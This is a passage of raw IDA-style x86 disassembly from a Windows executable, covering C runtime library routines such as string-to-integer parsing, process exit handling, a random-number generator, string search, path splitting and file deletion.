loc_418441:				; CODE XREF: sub_418350+E5j
		and	ebx, 3
		jnz	short loc_4183CB


loc_418446:				; CODE XREF: sub_418350+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418350	endp


; =============== S U B	R O U T	I N E =======================================



sub_41844E	proc near		; CODE XREF: sub_4184D9+4p
					; sub_4213FC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_418456:				; CODE XREF: sub_41844E+34j
		cmp	dword_43F494, 1
		jle	short loc_41846E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		jmp	short loc_41847D
; ---------------------------------------------------------------------------


loc_41846E:				; CODE XREF: sub_41844E+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43F288
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41847D:				; CODE XREF: sub_41844E+1Ej
		test	eax, eax
		jz	short loc_418484
		inc	edi
		jmp	short loc_418456
; ---------------------------------------------------------------------------


loc_418484:				; CODE XREF: sub_41844E+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_418494
		cmp	esi, 2Bh
		jnz	short loc_418498


loc_418494:				; CODE XREF: sub_41844E+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_418498:				; CODE XREF: sub_41844E+44j
		xor	ebx, ebx


loc_41849A:				; CODE XREF: sub_41844E+7Bj
		cmp	dword_43F494, 1
		jle	short loc_4184AF
		push	4
		push	esi
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		jmp	short loc_4184BA
; ---------------------------------------------------------------------------


loc_4184AF:				; CODE XREF: sub_41844E+53j
		mov	eax, off_43F288
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4184BA:				; CODE XREF: sub_41844E+5Fj
		test	eax, eax
		jz	short loc_4184CB
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41849A
; ---------------------------------------------------------------------------


loc_4184CB:				; CODE XREF: sub_41844E+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_4184D4
		neg	eax


loc_4184D4:				; CODE XREF: sub_41844E+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41844E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184D9	proc near		; CODE XREF: sub_40121E+2F4p
					; sub_401AA1+AB5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41844E
		pop	ecx
		retn
sub_4184D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184E4	proc near		; CODE XREF: sub_41A513+93p
		mov	eax, off_43D22C
		test	eax, eax
		jz	short loc_4184EF
		call	eax ; sub_4194A8


loc_4184EF:				; CODE XREF: sub_4184E4+7j
		push	offset dword_426030
		push	offset dword_42601C
		call	sub_4185CC
		push	offset dword_426018
		push	offset dword_426000
		call	sub_4185CC
		add	esp, 10h
		retn
sub_4184E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_418511	proc near		; CODE XREF: sub_41A513+D2p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_418533
		add	esp, 0Ch
		retn
sub_418511	endp


; =============== S U B	R O U T	I N E =======================================



sub_418522	proc near		; CODE XREF: .nsp0:0041A604p
					; sub_41A609+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_418533
		add	esp, 0Ch
		retn
sub_418522	endp


; =============== S U B	R O U T	I N E =======================================



sub_418533	proc near		; CODE XREF: sub_418511+8p
					; sub_418522+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DCDBC, edi
		jnz	short loc_418550
		push	[esp+4+arg_0]
		call	dword_4240FC	; GetCurrentProcess
		push	eax
		call	dword_4240F4	; TerminateProcess


loc_418550:				; CODE XREF: sub_418533+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DCDB8, edi
		mov	byte_4DCDB4, bl
		jnz	short loc_4185A4
		mov	eax, dword_4DE41C
		test	eax, eax
		jz	short loc_418593
		mov	ecx, dword_4DE418
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_418592


loc_41857F:				; CODE XREF: sub_418533+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_418587
		call	eax


loc_418587:				; CODE XREF: sub_418533+50j
		sub	esi, 4
		cmp	esi, dword_4DE41C
		jnb	short loc_41857F


loc_418592:				; CODE XREF: sub_418533+4Aj
		pop	esi


loc_418593:				; CODE XREF: sub_418533+3Cj
		push	offset dword_42603C
		push	offset dword_426034
		call	sub_4185CC
		pop	ecx
		pop	ecx


loc_4185A4:				; CODE XREF: sub_418533+33j
		push	offset dword_426048
		push	offset dword_426040
		call	sub_4185CC
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_4185CA
		push	[esp+4+arg_0]
		mov	dword_4DCDBC, edi
		call	dword_424064	; ExitProcess


loc_4185CA:				; CODE XREF: sub_418533+85j
		pop	edi
		retn
sub_418533	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185CC	proc near		; CODE XREF: sub_4184E4+15p
					; sub_4184E4+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_4185D1:				; CODE XREF: sub_4185CC+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_4185E4
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4185DF
		call	eax


loc_4185DF:				; CODE XREF: sub_4185CC+Fj
		add	esi, 4
		jmp	short loc_4185D1
; ---------------------------------------------------------------------------


loc_4185E4:				; CODE XREF: sub_4185CC+9j
		pop	esi
		retn
sub_4185CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185E6	proc near		; CODE XREF: sub_40121E+18Cp
					; sub_40121E+283p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41C27F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_418626
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_418633
; ---------------------------------------------------------------------------


loc_418626:				; CODE XREF: sub_4185E6+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41C16A
		pop	ecx
		pop	ecx


loc_418633:				; CODE XREF: sub_4185E6+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4185E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418638	proc near		; CODE XREF: sub_40121E+45p
					; sub_401AA1+2C3Ap ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43D210, eax
		retn
sub_418638	endp


; =============== S U B	R O U T	I N E =======================================



sub_418642	proc near		; CODE XREF: sub_40121E:loc_401373p
					; sub_40121E:loc_40168Fp ...
		mov	eax, dword_43D210
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43D210, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_418642	endp


; =============== S U B	R O U T	I N E =======================================



sub_418660	proc near		; CODE XREF: sub_40121E+12Ap
					; sub_401AA1+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_4186DA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_4186C7


loc_418678:				; CODE XREF: sub_418660+52j
					; sub_418660+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41869A
		test	al, al
		jz	short loc_418694


loc_418689:				; CODE XREF: sub_418660+32j
		mov	al, [esi]
		inc	esi


loc_41868C:				; CODE XREF: sub_418660+3Fj
		cmp	al, dl
		jz	short loc_41869A
		test	al, al
		jnz	short loc_418689


loc_418694:				; CODE XREF: sub_418660+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41869A:				; CODE XREF: sub_418660+23j
					; sub_418660+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41868C
		lea	edi, [esi-1]


loc_4186A4:				; CODE XREF: sub_418660+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_4186D3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_418678
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_4186D3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_4186A4
		jmp	short loc_418678
; ---------------------------------------------------------------------------


loc_4186C7:				; CODE XREF: sub_418660+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_418D16
; ---------------------------------------------------------------------------


loc_4186D3:				; CODE XREF: sub_418660+49j
					; sub_418660+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4186DA:				; CODE XREF: sub_418660+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_418660	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186E0	proc near		; CODE XREF: sub_40121E+117p
					; sub_401AA1+19E7p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41C27F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41871F
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41872C
; ---------------------------------------------------------------------------


loc_41871F:				; CODE XREF: sub_4186E0+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41C16A
		pop	ecx
		pop	ecx


loc_41872C:				; CODE XREF: sub_4186E0+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4186E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418731	proc near		; CODE XREF: sub_40121E+F7p
					; sub_401AA1+1CC5p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_417D40
		cmp	eax, 1
		pop	ecx
		jb	short loc_41876C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41876C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_418768
		push	2
		push	ebx
		push	esi
		call	sub_41CE69
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_418768:				; CODE XREF: sub_418731+25j
		inc	ebx
		inc	ebx
		jmp	short loc_418776
; ---------------------------------------------------------------------------


loc_41876C:				; CODE XREF: sub_418731+18j
					; sub_418731+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_418776
		and	byte ptr [eax],	0


loc_418776:				; CODE XREF: sub_418731+39j
					; sub_418731+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_4187EE


loc_418789:				; CODE XREF: sub_418731+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DE2E1[edx], 4
		jz	short loc_41879A
		inc	eax
		jmp	short loc_4187B4
; ---------------------------------------------------------------------------


loc_41879A:				; CODE XREF: sub_418731+64j
		cmp	cl, 2Fh
		jz	short loc_4187AE
		cmp	cl, 5Ch
		jz	short loc_4187AE
		cmp	cl, 2Eh
		jnz	short loc_4187B4
		mov	[ebp+var_4], eax
		jmp	short loc_4187B4
; ---------------------------------------------------------------------------


loc_4187AE:				; CODE XREF: sub_418731+6Cj
					; sub_418731+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_4187B4:				; CODE XREF: sub_418731+67j
					; sub_418731+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_418789
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_4187EE
		cmp	[ebp+arg_8], 0
		jz	short loc_4187E9
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_4187D2
		mov	edi, esi


loc_4187D2:				; CODE XREF: sub_418731+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41CE69
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4187E9:				; CODE XREF: sub_418731+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_4187F8
; ---------------------------------------------------------------------------


loc_4187EE:				; CODE XREF: sub_418731+56j
					; sub_418731+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_4187F8
		and	byte ptr [ecx],	0


loc_4187F8:				; CODE XREF: sub_418731+BBj
					; sub_418731+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41884B
		cmp	edi, ebx
		jb	short loc_41884B
		cmp	[ebp+arg_C], 0
		jz	short loc_418828
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_418811
		mov	edi, esi


loc_418811:				; CODE XREF: sub_418731+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CE69
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_418828:				; CODE XREF: sub_418731+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_418873
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_418838
		mov	esi, eax


loc_418838:				; CODE XREF: sub_418731+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41CE69
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_418873
; ---------------------------------------------------------------------------


loc_41884B:				; CODE XREF: sub_418731+CCj
					; sub_418731+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_418869
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41885A
		mov	esi, eax


loc_41885A:				; CODE XREF: sub_418731+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41CE69
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_418869:				; CODE XREF: sub_418731+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_418873
		and	byte ptr [eax],	0


loc_418873:				; CODE XREF: sub_418731+FCj
					; sub_418731+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418731	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418880	proc near		; CODE XREF: sub_401925+8p
					; sub_401AA1+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_4188A0


loc_41888C:				; CODE XREF: sub_418880+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41888C


loc_4188A0:				; CODE XREF: sub_418880+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_418880	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188AF	proc near		; CODE XREF: sub_401AA1+68FFp
					; sub_401AA1+692Cp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_4188C3
		xor	eax, eax
		jmp	short loc_4188F9
; ---------------------------------------------------------------------------


loc_4188C3:				; CODE XREF: sub_4188AF+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_4188F3
		mov	esi, [ebp+arg_8]


loc_4188CC:				; CODE XREF: sub_4188AF+42j
		dec	dword ptr [esi+4]
		js	short loc_4188DB
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_4188E2
; ---------------------------------------------------------------------------


loc_4188DB:				; CODE XREF: sub_4188AF+20j
		push	esi
		call	sub_41BC23
		pop	ecx


loc_4188E2:				; CODE XREF: sub_4188AF+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4188FD
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_4188F3
		dec	[ebp+arg_4]
		jnz	short loc_4188CC


loc_4188F3:				; CODE XREF: sub_4188AF+18j
					; sub_4188AF+3Dj ...
		and	byte ptr [edi],	0


loc_4188F6:				; CODE XREF: sub_4188AF+55j
		mov	eax, ebx
		pop	esi


loc_4188F9:				; CODE XREF: sub_4188AF+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4188FD:				; CODE XREF: sub_4188AF+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_4188F3
		xor	ebx, ebx
		jmp	short loc_4188F6
sub_4188AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418906	proc near		; CODE XREF: sub_41A86A+11Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41891D
		add	esp, 10h
		retn
sub_418906	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41891D	proc near		; CODE XREF: sub_418906+Ep
					; sub_418B25+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_418935:				; CODE XREF: sub_41891D+46j
		cmp	dword_43F494, 1
		jle	short loc_41894D
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		jmp	short loc_41895C
; ---------------------------------------------------------------------------


loc_41894D:				; CODE XREF: sub_41891D+1Fj
		mov	ecx, off_43F288
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41895C:				; CODE XREF: sub_41891D+2Ej
		test	eax, eax
		jz	short loc_418965
		mov	bl, [esi]
		inc	esi
		jmp	short loc_418935
; ---------------------------------------------------------------------------


loc_418965:				; CODE XREF: sub_41891D+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_418973
		or	[ebp+arg_C], 2
		jmp	short loc_418978
; ---------------------------------------------------------------------------


loc_418973:				; CODE XREF: sub_41891D+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41897E


loc_418978:				; CODE XREF: sub_41891D+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41897E:				; CODE XREF: sub_41891D+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_418B15
		cmp	eax, 1
		jz	loc_418B15
		cmp	eax, 24h
		jg	loc_418B15
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_4189C6
		cmp	bl, 30h
		jz	short loc_4189B0
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_4189E2
; ---------------------------------------------------------------------------


loc_4189B0:				; CODE XREF: sub_41891D+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4189C3
		cmp	al, 58h
		jz	short loc_4189C3
		mov	[ebp+arg_8], 8
		jmp	short loc_4189E2
; ---------------------------------------------------------------------------


loc_4189C3:				; CODE XREF: sub_41891D+97j
					; sub_41891D+9Bj
		mov	[ebp+arg_8], ecx


loc_4189C6:				; CODE XREF: sub_41891D+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4189E2
		cmp	bl, 30h
		jnz	short loc_4189E2
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4189DA
		cmp	al, 58h
		jnz	short loc_4189E2


loc_4189DA:				; CODE XREF: sub_41891D+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_4189E2:				; CODE XREF: sub_41891D+91j
					; sub_41891D+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_4189F2:				; CODE XREF: sub_41891D+16Cj
		cmp	dword_43F494, 1
		movzx	esi, bl
		jle	short loc_418A0A
		push	4
		push	esi
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		jmp	short loc_418A15
; ---------------------------------------------------------------------------


loc_418A0A:				; CODE XREF: sub_41891D+DFj
		mov	eax, off_43F288
		mov	al, [eax+esi*2]
		and	eax, 4


loc_418A15:				; CODE XREF: sub_41891D+EBj
		test	eax, eax
		jz	short loc_418A21
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_418A53
; ---------------------------------------------------------------------------


loc_418A21:				; CODE XREF: sub_41891D+FAj
		cmp	dword_43F494, 1
		jle	short loc_418A35
		push	edi
		push	esi
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		jmp	short loc_418A40
; ---------------------------------------------------------------------------


loc_418A35:				; CODE XREF: sub_41891D+10Bj
		mov	eax, off_43F288
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_418A40:				; CODE XREF: sub_41891D+116j
		test	eax, eax
		jz	short loc_418A8E
		movsx	eax, bl
		push	eax
		call	sub_41CEF3
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_418A53:				; CODE XREF: sub_41891D+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_418A8E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_418A78
		jnz	short loc_418A72
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_418A78


loc_418A72:				; CODE XREF: sub_41891D+147j
		or	[ebp+arg_C], 4
		jmp	short loc_418A81
; ---------------------------------------------------------------------------


loc_418A78:				; CODE XREF: sub_41891D+145j
					; sub_41891D+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_418A81:				; CODE XREF: sub_41891D+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_4189F2
; ---------------------------------------------------------------------------


loc_418A8E:				; CODE XREF: sub_41891D+125j
					; sub_41891D+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_418AAC
		test	edx, edx
		jz	short loc_418AA6
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_418AA6:				; CODE XREF: sub_41891D+181j
		and	[ebp+var_8], 0
		jmp	short loc_418AF9
; ---------------------------------------------------------------------------


loc_418AAC:				; CODE XREF: sub_41891D+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_418AD2
		test	cl, 1
		jnz	short loc_418AF9
		and	ecx, 2
		jz	short loc_418AC9
		cmp	[ebp+var_8], 80000000h
		ja	short loc_418AD2


loc_418AC9:				; CODE XREF: sub_41891D+1A1j
		test	ecx, ecx
		jnz	short loc_418AF9
		cmp	[ebp+var_8], eax
		jbe	short loc_418AF9


loc_418AD2:				; CODE XREF: sub_41891D+197j
					; sub_41891D+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DCD74, 22h
		jz	short loc_418AE8
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_418AF9
; ---------------------------------------------------------------------------


loc_418AE8:				; CODE XREF: sub_41891D+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_418AF9:				; CODE XREF: sub_41891D+18Dj
					; sub_41891D+19Cj ...
		test	edx, edx
		jz	short loc_418B02
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_418B02:				; CODE XREF: sub_41891D+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_418B10
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_418B10:				; CODE XREF: sub_41891D+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_418B20
; ---------------------------------------------------------------------------


loc_418B15:				; CODE XREF: sub_41891D+66j
					; sub_41891D+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_418B1E
		mov	[eax], edi


loc_418B1E:				; CODE XREF: sub_41891D+1FDj
		xor	eax, eax


loc_418B20:				; CODE XREF: sub_41891D+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41891D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B25	proc near		; CODE XREF: sub_401AA1+5911p
					; sub_401AA1+6018p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41891D
		add	esp, 10h
		retn
sub_418B25	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B3C	proc near		; CODE XREF: sub_401AA1+50B8p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_424080	; DeleteFileA
		test	eax, eax
		jnz	short loc_418B52
		call	dword_42408C	; RtlGetLastWin32Error
		jmp	short loc_418B54
; ---------------------------------------------------------------------------


loc_418B52:				; CODE XREF: sub_418B3C+Cj
		xor	eax, eax


loc_418B54:				; CODE XREF: sub_418B3C+14j
		test	eax, eax
		jz	short loc_418B63
		push	eax
		call	sub_41CFBF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_418B63:				; CODE XREF: sub_418B3C+1Aj
		xor	eax, eax
		retn
sub_418B3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B66	proc near		; CODE XREF: sub_401AA1+5024p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41D026
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C27F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_41D0B3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418B66	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BA0	proc near		; CODE XREF: sub_401AA1+197Ep
					; sub_401AA1+199Dp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_418BC1
		xor	eax, eax
		jmp	short loc_418BC3
; ---------------------------------------------------------------------------


loc_418BC1:				; CODE XREF: sub_418BA0+1Bj
		mov	eax, edi


loc_418BC3:				; CODE XREF: sub_418BA0+1Fj
		cld
		pop	edi
		leave
		retn
sub_418BA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame
